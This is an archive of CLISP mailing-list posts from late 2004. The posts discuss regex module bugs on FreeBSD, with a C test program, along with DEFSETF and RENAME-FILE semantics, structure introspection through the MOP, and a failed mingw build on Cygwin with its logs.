Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004


[1]> (defstruct foo bar baz)
FOO
[2]> (defvar *relation-list* nil)
*RELATION-LIST*
[3]> (defun relationp-err (x)
  (or (loop for r in *relation-list* thereis (eql x (foo-bar r)))
      (car (push (make-foo :bar x) *relation-list*))))
RELATIONP-ERR
[4]> (defvar defn
	 ;; mexpand-all
	 ;; remove #:
	 ;; remove DECLARE SYSTEM::SOURCE
	 ;; the dbobject => the foo
 '(LAMBDA (A30158)
   (LET ((G30159 A30158))
    (LET
     ((CXVALUE
       (VALUEINCURRENTCX
        (THE foo (LOAD-TIME-VALUE (RELATIONP-ERR 'INLINEREL))) G30159)))
     (COND ((NOT (EQ CXVALUE 'INHERIT)) CXVALUE)
      (T
       (NOT
        (NOT
         ((LAMBDA (REL &REST TUPLE)
           (MEMBER-IF
            #'(LAMBDA (TPL)
               (LET ((TUP1 TUPLE) (TUP2 TPL))
                (AND
                 (EQL (PROG1 (CAR TUP1) (SETQ TUP1 (CDR TUP1)))
                  (PROG1 (CAR TUP2) (SETQ TUP2 (CDR TUP2)))))))
            (GETBASEDATA REL)))
          (THE foo (LOAD-TIME-VALUE (RELATIONP-ERR 'INLINEREL)))
          G30159)))))))))
DEFN
[5]> (disassemble (compile 'g defn))

WARNING in G :
Function VALUEINCURRENTCX is not defined
WARNING in G :
Function GETBASEDATA is not defined

Disassembly of function G
(CONST 0) = #S(FOO :BAR INLINEREL :BAZ NIL)
(CONST 1) = VALUEINCURRENTCX
(CONST 2) = INHERIT
(CONST 3) = #<COMPILED-CLOSURE G-1>
(CONST 4) = GETBASEDATA
1 required argument
0 optional arguments
No rest parameter
No keyword parameters
23 byte-code instructions:
0     (CONST&PUSH 0)                      ; #S(FOO :BAR INLINEREL :BAZ NIL)
1     (LOAD&PUSH 2)
2     (CALL2&PUSH 1)                      ; VALUEINCURRENTCX
4     (LOAD&PUSH 0)
5     (JMPIFNOTEQTO 2 L34)                ; INHERIT
8     (NIL)
9     (MAKE-VECTOR1&PUSH 1)
11    (LOAD&PUSH 3)
12    (LIST 1)
14    (STOREC 0 0)
17    (LOAD&PUSH 0)
18    (COPY-CLOSURE&PUSH 3 1)             ; #<COMPILED-CLOSURE G-1>
21    (T&PUSH)
22    (CALL1&PUSH 4)                      ; GETBASEDATA
24    (PUSH-UNBOUND 1)
26    (CALLS1 181)                        ; MEMBER-IF
28    (SKIP 1)
30    (NOT)
31    (NOT)
32    (SKIP&RET 3)
34    L34
34    (POP)
35    (SKIP&RET 2)
NIL
[6]> (disassemble (compile 'g defn))

WARNING in G :
Function VALUEINCURRENTCX is not defined
WARNING in G :
Function GETBASEDATA is not defined

Disassembly of function G
(CONST 0) = VALUEINCURRENTCX
(CONST 1) = INHERIT
(CONST 2) = #<COMPILED-CLOSURE G-1>
(CONST 3) = GETBASEDATA
1 required argument
0 optional arguments
No rest parameter
No keyword parameters
23 byte-code instructions:
0     (T&PUSH)
1     (LOAD&PUSH 2)
2     (CALL2&PUSH 0)                      ; VALUEINCURRENTCX
4     (LOAD&PUSH 0)
5     (JMPIFNOTEQTO 1 L34)                ; INHERIT
8     (NIL)
9     (MAKE-VECTOR1&PUSH 1)
11    (LOAD&PUSH 3)
12    (LIST 1)
14    (STOREC 0 0)
17    (LOAD&PUSH 0)
18    (COPY-CLOSURE&PUSH 2 1)             ; #<COMPILED-CLOSURE G-1>
21    (T&PUSH)
22    (CALL1&PUSH 3)                      ; GETBASEDATA
24    (PUSH-UNBOUND 1)
26    (CALLS1 181)                        ; MEMBER-IF
28    (SKIP 1)
30    (NOT)
31    (NOT)
32    (SKIP&RET 3)
34    L34
34    (POP)
35    (SKIP&RET 2)
NIL
[7]> 


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On Fri, 19 Nov 2004 17:05:07 +0100, Pascal J. Bourguignon wrote:

> 
> There are bugged implementations of regex!
> Fetch gnu regex (from glibc) and compile it with clisp.
> 
> See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757
> 
> 
> Use this c program to check your implementation of regex:
> 

thanks for your quick reply. I compiled your c source to test my regex lib
and it's indeed buggy. So I chose to recompile clisp with the
--without-sysre switch, but I still get the same buggy output.




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> * Christian Pohlmann <pcbuyznaa01@lnubb.pbz> [2004-11-19 17:38:41 +0100]:
>
> On Fri, 19 Nov 2004 17:05:07 +0100, Pascal J. Bourguignon wrote:
>
>> 
>> There are bugged implementations of regex!
>> Fetch gnu regex (from glibc) and compile it with clisp.
>> 
>> See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757
>> 
>> Use this c program to check your implementation of regex:
>
> thanks for your quick reply. I compiled your c source to test my regex
> lib and it's indeed buggy. So I chose to recompile clisp with the
> --without-sysre switch, but I still get the same buggy output.

is it possible that you might still be using the system implementation
of regexp?

if regexec() et al are in libc and not in libregexp or something, they
are always linked to CLISP.

you might need to rename all the regexp functions from things like
regexec() to clisp_regexec() in regex.c, regex.h, regexi.c and then
rebuild everything.



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X-Original-Date: Fri, 19 Nov 2004 17:58:31 +0100

Sam Steingold writes:
> > * Christian Pohlmann <pcbuyznaa01@lnubb.pbz> [2004-11-19 16:38:19 +0100]:
> >
> > Hello,
> >
> > this time I searched many available clisp resources like the FAQ or the
> > impnotes. Anyway, there seems to be a problem with your regexp module in
> > version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it
> > with regexp support and just tried out the example you mention in the
> > impnotes. This is what I get for the first one:
> >
> > [1]> (regexp:match "quick" "The quick brown fox jumps quickly.")
> > #S(REGEXP:MATCH :START 4 :END 0)
> > [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8)
> > #S(REGEXP:MATCH :START 26 :END 8)
> > [3]>
> 
> WFM (cygwin, linux):

Yes, gnu regex has not this bug, but FreeBSD and MacOSX have it.

I'm still believing that the regexp module of clisp should include the
source of gnu regex.c and if some sanity tests don't succeed at
configure time, it should use the shipped regex.c instead of that
provided by the system.


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Date: Fri Nov 19 09:58:03 2004
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(Oops, Sam, sorry, I just saw now that regexp module do provide now a
regex.c; I was echoing an old message).


Christian Pohlmann writes:
> On Fri, 19 Nov 2004 17:05:07 +0100, Pascal J. Bourguignon wrote:
> 
> > 
> > There are bugged implementations of regex!
> > Fetch gnu regex (from glibc) and compile it with clisp.
> > 
> > See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757
> > 
> > 
> > Use this c program to check your implementation of regex:
> > 
> 
> thanks for your quick reply. I compiled your c source to test my regex lib
> and it's indeed buggy. So I chose to recompile clisp with the
> --without-sysre switch, but I still get the same buggy output.


--without-sysre  will work in the _next_ version, that is, 2.33.3.
(perhaps it works with the current CVS version?)



You can check with:

    #1#
    cd clisp-2.33.2
    ./configure --with-module=regexp --without-sysre
    cd src
    ./makemake --with-dynamic-ffi  --with-module=regexp \
              --without-sysre > Makefile
    make
    grep NEW_LIBS src/regexp/link.sh

if you get:

   NEW_LIBS="$file_list regex.o"

then it's using the regex.c provided with the regexp module.


If you get:

    NEW_LIBS="$file_list "

then it's not. (That's what I get with clisp-2.33.2).


The only way I can imagine for now is to edit regexp/link.sh.in and
substitute @REGEX_O@ with regex.o before starting over from #1#.

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-11-19 17:58:31 +0100]:
>
> I'm still believing that the regexp module of clisp should include the
> source of gnu regex.c and if some sanity tests don't succeed at
> configure time, it should use the shipped regex.c instead of that
> provided by the system.

done.  please check out CVS HEAD.

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I'm using CLISP 2.33.2-2 from Debian, with Linux 2.4.23 on i686.
Running clisp -ansi:

  [1]> (defun foo () (values))
  FOO
  [2]> (defsetf foo () () (values))

  *** - DEFSETF: Missing store variable.
  Break 1 [3]>

According to the DEFSETF dictionary entry in the CLHS, the
long form has this syntax:

  defsetf access-fn lambda-list (store-variable*)
  [[declaration* | documentation]] form*

As the asterisk means zero or more, store variables should not be
required.

Another, CLISP-specific issue:

  [4]> (macroexpand-1 '(letf (((progn (values)) 42)) t))

  *** - SETF place (PROGN (VALUES)) produces more than one store variable.
  Break 1 [5]> (get-setf-expansion '(progn (values)))
  NIL ;
  NIL ;
  NIL ;
  (VALUES) ;
  (VALUES)
  Break 1 [5]>

Because the list of store variables in this setf expansion is
empty, it is not true that the place "produces more than one
store variable."  Please correct the error message or make the
LETF form expand without an error.


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Subject: [clisp-list] bad semantics for RENAME-FILE on posix
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Date: Sun Nov 21 21:51:20 2004
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On posix, the rename(2) syscall has am important atomic semantic:

       If newpath already exists it will be atomically replaced (subject
       to a few conditions - see ERRORS below),  so  that  there  is  no
       point  at which another process attempting to access newpath will
       find it missing.

       If newpath exists but the operation fails for some reason  rename
       guarantees to leave an instance of newpath in place.


cmucl, sbcl, gcl, ecls all understand this semantic and implement
RENAME-FILE using this posix syscall.

Unfortunately, clisp doesn't. When there already exists a file under
the target name, it returns an error instead of applying the standard
posix semantics.

This prevent us to write safe atomic updating of files on posix
systems with clisp without resolving to unportable code.


I strongly suggest that clisp implementation of RENAME-FILE be changed
to use rename(2) plainly on posix systems.


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Date: Sun Nov 21 22:30:26 2004
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Sam Steingold <sds@gnu.org> writes:

> thanks, fixed.

Thank you.  However, I realized that the DEFSETF form I posted,

  (defsetf foo () () (values))

is actually incorrect: the storing form will be NIL, which does
not return the correct number of values.  The form should be:

  (defsetf foo () () '(values))

Please correct the test you added in setf.tst.


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Date: Mon Nov 22 07:07:23 2004
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On Fri, Nov 19, 2004 at 05:05:07PM +0100, Pascal J.Bourguignon wrote:
> Christian Pohlmann writes:
> > Hello,
> >=20
> > this time I searched many available clisp resources like the FAQ or t=
he
> > impnotes. Anyway, there seems to be a problem with your regexp module=
 in
> > version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran=
 it
> > with regexp support and just tried out the example you mention in the
> > impnotes. This is what I get for the first one:
> >=20
> > [1]> (regexp:match "quick" "The quick brown fox jumps quickly.")
> > #S(REGEXP:MATCH :START 4 :END 0)
> > [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :star=
t 8)
> > #S(REGEXP:MATCH :START 26 :END 8)
> > [3]>=20
> >=20
> > ...
>=20
> There are bugged implementations of regex!
> Fetch gnu regex (from glibc) and compile it with clisp.
>=20
> See: http://sourceforge.net/mailarchive/message.php?msg_id=3D9272757
>=20
>=20
> Use this c program to check your implementation of regex:
>=20
> #include <sys/types.h>
> #include <regex.h>
> #include <stdio.h>
>=20
>     int main(int argc,char** argv){
>         printf("%d\n",argc);
>         if(argc=3D=3D3){
>             regex_t* re=3D(regex_t*)malloc(sizeof(regex_t));
>             int status=3Dregcomp(re,argv[1],0);
>             if(status!=3D0){
>                 char buf[128];
>                 regerror(status,re,buf,sizeof(buf));
>                 printf("regcomp error %s\n",buf);
>                 return(1); }
>             {
>                 int i;
>                 regmatch_t* matches=3D(regmatch_t*)malloc((re->re_nsub+=
1)
>                                                         *sizeof(regmatc=
h_t));
>                 status=3Dregexec(re,argv[2],re->re_nsub+1,matches,0);
>                 if(status!=3D0){
>                     char buf[128];
>                     regerror(status,re,buf,sizeof(buf));
>                     printf("regexec error %s\n",buf);
>                     return(1); }
>                 for(i=3D0;i<=3Dre->re_nsub;i++){
>                     if((0<=3Dmatches[i].rm_so)&&(0<=3Dmatches[i].rm_eo)=
){
>                         printf("match %2d: %2d %2d\n",i,
>                                matches[i].rm_so,matches[i].rm_eo); }}}
>         }else{
>             printf("usage: %s pattern string\n",argv[0]); }
>         return(0); }
>=20

Hello,

As i use myself FreeBSD, i did a search on Google about this problem.
Well, it seems it's not a bug in the regexp library but a typing
mistake (please see
http://www.omnigroup.com/mailman/archive/macosx-dev/2000-November/006871.=
html).

And indeed, if you replace:=20
  printf("match %2d: %2d %2d\n",i,
with
  printf("match %2d: %lld %lld\n",i,
 =20
you get a right answer (tested on a FreeBSD 5.3-STABLE, Intel Pentium
II processor):

  % ./a.out "quick" "The quick brown fox jumps quickly."
  3
  match  0: 4 9
  % ./a.out "." "a"
  3
  match  0: 0 1


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I'm porting an application (OBJ3) to CMUCL, SBCL, and CLISP.

I need a function that will define a total order on two arbitrary 
structures.

In my other ports, I've used internal functions to get lists of slots, 
orders on them, etc.

Do the CMUCL, SBCL, and CLISP developers have suggestions for 
implementing such a function?  I've dug around the internal 
functionality, but have not found an obvious solution to this problem.

Thanks,
Joe
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Sorry my bad english.
My attempt build cvs-version clisp with cygwin and option --with-mingw is
unsuccessful.
Details:
> $ uname -a
> CYGWIN_NT-5.1 home 1.5.12(0.116/4/2) 2004-11-10 08:34 i686 unknown unknown
Cygwin
> $ gcc --version
> gcc (GCC) 3.4.1 (cygming special)
> Copyright (C) 2004 Free Software Foundation, Inc.
> This is free software; see the source for copying conditions. There is NO
> warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE.
> $ ./configure --with-mingw --config build-win32
...
> checking whether floats are returned in integer registers...
After this message generate error:
> conftest.exe - error
> AppName: conftest.exe AppVer: 0.0.0.0 ModName: conftest.exe
> ModVer: 0.0.0.0 Offset: 000012b8
but ./configure... continue work
...
> $ cd build-win32
> $ ./makemake --with-dynamic-ffi --win32gcc > Makefile
> $ make config.lisp
> $ make
> $ make check
...
> RUN-ALL-TESTS: grand total: 1 error out of 9,941 tests
>
> Real time: 80.609375 sec.
> Run time: 60.75 sec.
> Space: 310618680 Bytes
> GC: 465, GC time: 32.171875 sec.9941 ;
> 1
>
>
> Bye.
> (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg;
echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1)
> Test failed:
> -rwxr-xr-x 1 Slava None 366 Nov 23 00:41 streamslong.erg
> To see which tests failed, type
> cat /usr/src/clisp/build-win32/tests/*.erg
> make[1]: *** [compare] Error 1
> make[1]: Leaving directory `/usr/src/clisp/build-win32/tests'
> make: *** [check-tests] Error 2
> $ cat /usr/src/clisp/build-win32/tests/streamslong.erg
> Form: (LET ((F "foo") (S "12345") L) (WITH-OPEN-FILE (O F :DIRECTION
:OUTPUT) (WRITE-STRING S O)) (WITH-OPEN-FILE (I F :BUFFERED T) (LISTEN I)
(PUSH (READ-CHAR I) L)) (WITH-OPEN-FILE (I F :BUFFERED NIL) (LISTEN I) (PUSH
(READ-CHAR I) L)) (DELETE-FILE F) L)
> CORRECT: (#\1 #\1)
> CLISP : ERROR
> Win32 error 0 (ERROR_SUCCESS): The operation completed successfully.
> $ make distrib
Extract distrib in C:\CLISP an run install.bat
...
> *** - USE-PACKAGE: There is no package with name "LDAP"
Comment line
(use-package "LDAP")
in install.lisp and run install.bat
...
> WARNING in ADD-LISP-FILE :
> LF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-LISP-FILE :
> LF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-LISP-FILE :
> LF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-LISP-FILE :
> IC is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-LISP-FILE :
> LF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-LISP-FILE :
> CC is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-LISP-FILE :
> CC is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-LISP-FILE :
> CMD is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> FF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> FF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> FF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> IC is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> FF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> SH is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> SH is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> EX is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> EX is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> CMD is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> SH is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> LO is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> LO is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-FAS-FILE :
> CMD is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> MF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> MF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> MF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> IC is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> MF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> SH is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> SH is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> EX is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> EX is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in ADD-MEM-FILE :
> CMD is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in COMPILED-FORM-127 :
> C1 is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in COMPILED-FORM-127 :
> LF is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in COMPILED-FORM-127 :
> C1 is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in COMPILED-FORM-127 :
> C1 is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> WARNING in COMPILED-FORM-127 :
> C1 is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.Associate types <.lisp>,
<.lsp>, <.cl>, <.fas>, <.mem>, with CLISP? (y/n)
> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.

in C:\CLISP\base\
> $ ./lisp.exe -M lispinit.mem --version
> GNU CLISP 2.33 (2004-03-17) (built 3310151485) (memory 3310151918)
> Software: GNU C 3.4.1 (cygming special)
>
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-ty
pe -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_T
ERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none
libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -luuid
> SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED
TRIVIALMAP_MEMORY
> Features:
> (LOOP COMPILER CLOS CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
GENERIC-STREAMS
> LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32)
> Installation directory:
> User language: ENGLISH
> Machine: PC/386 (PC/686) home [127.0.0.1]
> $ ./lisp.exe -M lispinit.mem
> [1]>
> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
> The following restarts are available:
> ABORT :R1 ABORT
>
> Break 1 [2]>
> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
> The following restarts are available:
> ABORT :R1 ABORT
> ABORT :R2 ABORT
>
> Break 2 [3]>
> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
> The following restarts are available:
> ABORT :R1 ABORT
> ABORT :R2 ABORT
> ABORT :R3 ABORT
and so on.
If add in command
./configure ...
any module (sample: ./configure --with-module=syscalls --with-module=dirkey
...)
"make" return error:
> configure: * System Calls (done)
> CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile
UTF-8 -Eterminal UTF-8 -norc" ; cd syscalls ; dots=`echo syscalls/ | sed -e
's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc -mno-cygwin" CPPFLAGS=""
CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-
sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_N
CURSES -DDYNAMIC_FFI -DNO_GETTEXT-DNO_SIGSEGV -I." INCLUDES="$dots"
LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c
${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}win32.c
${dots}xthread.c ${dots}stdbool.h ${dots}stdint.h ${dots}libcharset.h"
CLFLAGS="-x none" LIBS="libcharset.a libavcall.a
libcallback.a -luser32 -lws2_32 -lole32 -luuid " RANLIB="ranlib"
CLISP="$CLISP -q"
> make[1]: Entering directory `/usr/src/clisp/build-win32/syscalls'
> /usr/src/clisp/build-win32/lisp.exe -M
/usr/src/clisp/build-win32/lispinit.mem -B /usr/src/clisp/build-win32 -Efile
UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas calls.c
> C:\cygwin\usr\src\clisp\build-win32\lisp.exe: operating system error
during load of initialization file `/usr/src/clisp/build-win32/lispinit.mem'
> GetLastError() = 0x3 (ERROR_PATH_NOT_FOUND): The system cannot find the
path specified.
> make[1]: *** [calls.m.c] Error 1
> make[1]: Leaving directory `/usr/src/clisp/build-win32/syscalls'
> make: *** [syscalls] Error 2
IMHO, lisp.exe with --with-mingw don't understand unix-path.
if change in build-win32/Makefile:
anymodule $(MODULES) : lisp.exe lispinit.mem force modprep.fas exporting.fas
clisp.h
test -d $@ || ../src/lndir ../modules/$@ $@
if test -f $@/configure -a '!' -f $@/config.status ; then cd $@ ; CC="$(CC)"
./configure --cache-file=`echo $@/ | sed -e
's,[^/][^/]*//*,../,g'`config.cache ; fi
-- CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile
UTF-8 -Eterminal UTF-8 -norc" ; cd $@ ; dots=`echo $@/ | sed -e
's,[^/][^/]*//*,../,g'` ; $(MAKE) clisp-module CC="$(CC)"
CPPFLAGS="$(CPPFLAGS)" CFLAGS="$(CFLAGS)" INCLUDES="$$dots"
LISPBIBL_INCLUDES=" $${dots}lispbibl.c $${dots}fsubr.c $${dots}subr.c
$${dots}pseudofun.c $${dots}constsym.c $${dots}constobj.c $${dots}win32.c
$${dots}xthread.c $${dots}stdbool.h $${dots}stdint.h $${dots}libcharset.h"
CLFLAGS="$(CLFLAGS)" LIBS="$(LIBS)" RANLIB="$(RANLIB)" CLISP="$$CLISP -q"
++ CLISP="../lisp.exe -M ../lispinit.mem -B ../ -Efile UTF-8 -Eterminal
UTF-8 -norc" ; cd $@ ; dots=`echo $@/ | sed -e 's,[^/][^/]*//*,../,g'` ;
$(MAKE) clisp-module CC="$(CC)" CPPFLAGS="$(CPPFLAGS)" CFLAGS="$(CFLAGS)"
INCLUDES="$$dots" LISPBIBL_INCLUDES=" $${dots}lispbibl.c $${dots}fsubr.c
$${dots}subr.c $${dots}pseudofun.c $${dots}constsym.c $${dots}constobj.c
$${dots}win32.c $${dots}xthread.c $${dots}stdbool.h $${dots}stdint.h
$${dots}libcharset.h" CLFLAGS="$(CLFLAGS)" LIBS="$(LIBS)" RANLIB="$(RANLIB)"
CLISP="$$CLISP -q"
make don't return error (but how add "--with-module=bindings/win32"?..)
> $ make check
...
> Test failed:
> -rwxr-xr-x 1 Slava None 366 Nov 23 01:49 streamslong.erg
...
install.bat don't want package with name "LDAP" :)
but
*** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
This is all.
Sorry again.
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> * Joseph Kiniry <xvavel@npz.bet> [2004-11-24 12:43:17 +0000]:
>
> In my other ports, I've used internal functions to get lists of slots,
> orders on them, etc.
>
> Do the CMUCL, SBCL, and CLISP developers have suggestions for
> implementing such a function?  I've dug around the internal
> functionality, but have not found an obvious solution to this problem.

use MOP:
<http://www.podval.org/~sds/clisp/impnotes.html#mop-chap>
see also CLOCC/PORT/sys.lisp:class-slot-list

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2004-11-24 10:54:14 +0200]:
>
> My attempt build cvs-version clisp with cygwin and option --with-mingw
> is unsuccessful.

actually, you are perfectly successful!

>> $ ./configure --with-mingw --config build-win32

if you want to use install.bat, you must also build the dirkey module:

$ ./configure --with-mingw --with-module=syscalls --with-module=dirkey --with-module=regexp --build build-win32

>> $ cat /usr/src/clisp/build-win32/tests/streamslong.erg
>> Form: (LET ((F "foo") (S "12345") L) (WITH-OPEN-FILE (O F :DIRECTION
> :OUTPUT) (WRITE-STRING S O)) (WITH-OPEN-FILE (I F :BUFFERED T) (LISTEN I)
> (PUSH (READ-CHAR I) L)) (WITH-OPEN-FILE (I F :BUFFERED NIL) (LISTEN I) (PUSH
> (READ-CHAR I) L)) (DELETE-FILE F) L)
>> CORRECT: (#\1 #\1)
>> CLISP : ERROR
>> Win32 error 0 (ERROR_SUCCESS): The operation completed successfully.

don't worry about this one.

>> $ make distrib
> Extract distrib in C:\CLISP an run install.bat

you don't need to run install.bat to use clisp!

> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-ty
> pe -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_T
> ERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none
> libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -luuid
>> SAFETY=0 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED
> TRIVIALMAP_MEMORY
>> Features:
>> (LOOP COMPILER CLOS CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
> GENERIC-STREAMS
>> LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32)
>> Installation directory:
>> User language: ENGLISH
>> Machine: PC/386 (PC/686) home [127.0.0.1]
>> $ ./lisp.exe -M lispinit.mem
>> [1]>
>> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
>> The following restarts are available:
>> ABORT :R1 ABORT
>>
>> Break 1 [2]>
>> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
>> The following restarts are available:
>> ABORT :R1 ABORT
>> ABORT :R2 ABORT
>>
>> Break 2 [3]>
>> *** - Win32 error 6 (ERROR_INVALID_HANDLE): The handle is invalid.
>> The following restarts are available:
>> ABORT :R1 ABORT
>> ABORT :R2 ABORT
>> ABORT :R3 ABORT
> and so on.

yes, we are aware of this issue.
note that these are development sources you are using!
this is not a release!


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Date: Wed Nov 24 09:05:12 2004
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Joseph Kiniry writes:
> I'm porting an application (OBJ3) to CMUCL, SBCL, and CLISP.
> 
> I need a function that will define a total order on two arbitrary 
> structures.
> 
> In my other ports, I've used internal functions to get lists of slots, 
> orders on them, etc.
> 
> Do the CMUCL, SBCL, and CLISP developers have suggestions for 
> implementing such a function?  I've dug around the internal 
> functionality, but have not found an obvious solution to this problem.

Should this order be the same on all these implementations?
Should it be the same accross sessions?

In general for structures it's not possible, there's no reflectivity
of structures.  Either you limit yourself to the structure defined
with one of your macros that will keep the fields arround, or you'll
have to use CLOS.

Note that some structure types may be defined to be implemented with
lists or vectors!

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> * Joseph Kiniry <xvavel@npz.bet> [2004-11-24 19:21:33 +0000]:
>
> My concern was not knowing anything about the quality and completeness
> of CLOS/MOP implementations across CL platforms.

All implementations support MOP to at least "some" degree.
If all you need is a simple introspection (slot list), then
   CLOCC/PORT/sys.lisp:class-slot-list
is your friend.

if you need the advanced MOP features, then you are likely to hit at
least "some" incompatibilities.

Note that the next CLISP release will come with a full MOP
implementation.
<http://www.podval.org/~sds/clisp/impnotes/mop-chap.html>

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Hello,

Joseph Kiniry <kiniry@acm.org> writes:

> I need a function that will define a total order on two arbitrary 
> structures.
>
> In my other ports, I've used internal functions to get lists of slots, 
> orders on them, etc.
>
> Do the CMUCL, SBCL, and CLISP developers have suggestions for 
> implementing such a function?  I've dug around the internal 
> functionality, but have not found an obvious solution to this
> problem.

Under SBCL you can get a list of slot descriptions with
  (sb-pcl:class-slots (sb-pcl:find-class <structure-name>))
Then use SB-PCL:SLOT-DEFINITION-... to get slot information.

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> * Don Cohen <qba-grfg-204@vfvf.pf3-vap.pbz> [2004-11-18 10:10:13 -0800]:
>
> My new request is that the install instructions should mention this as
> a potential problem and refer to a web page on which is recorded
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> the incompatible cases.

would you like to maintain such a page?

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Sam Steingold writes:
 > > * Don Cohen <qba-grfg-204@vfvf.pf3-vap.pbz> [2004-11-18 10:10:13 -0800]:
 > >
 > > My new request is that the install instructions should mention this as
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 > > the incompatible cases.
 > 
 > would you like to maintain such a page?
How would I get the data?
It seems the easiest thing would be a web interface that allows
people to submit data into a database and search that database.
If you think some machine of mine is as good as any for that purpose
I suppose I could volunteer one.  Actually, it seems to me that the
best case would be for sourceforge to collect the data.  Is there
a way to do that?
Otheriwse it would probably be a good idea to occasionally upload the
database to some place on sourceforge.
(Or some similar place - any suggestions?)

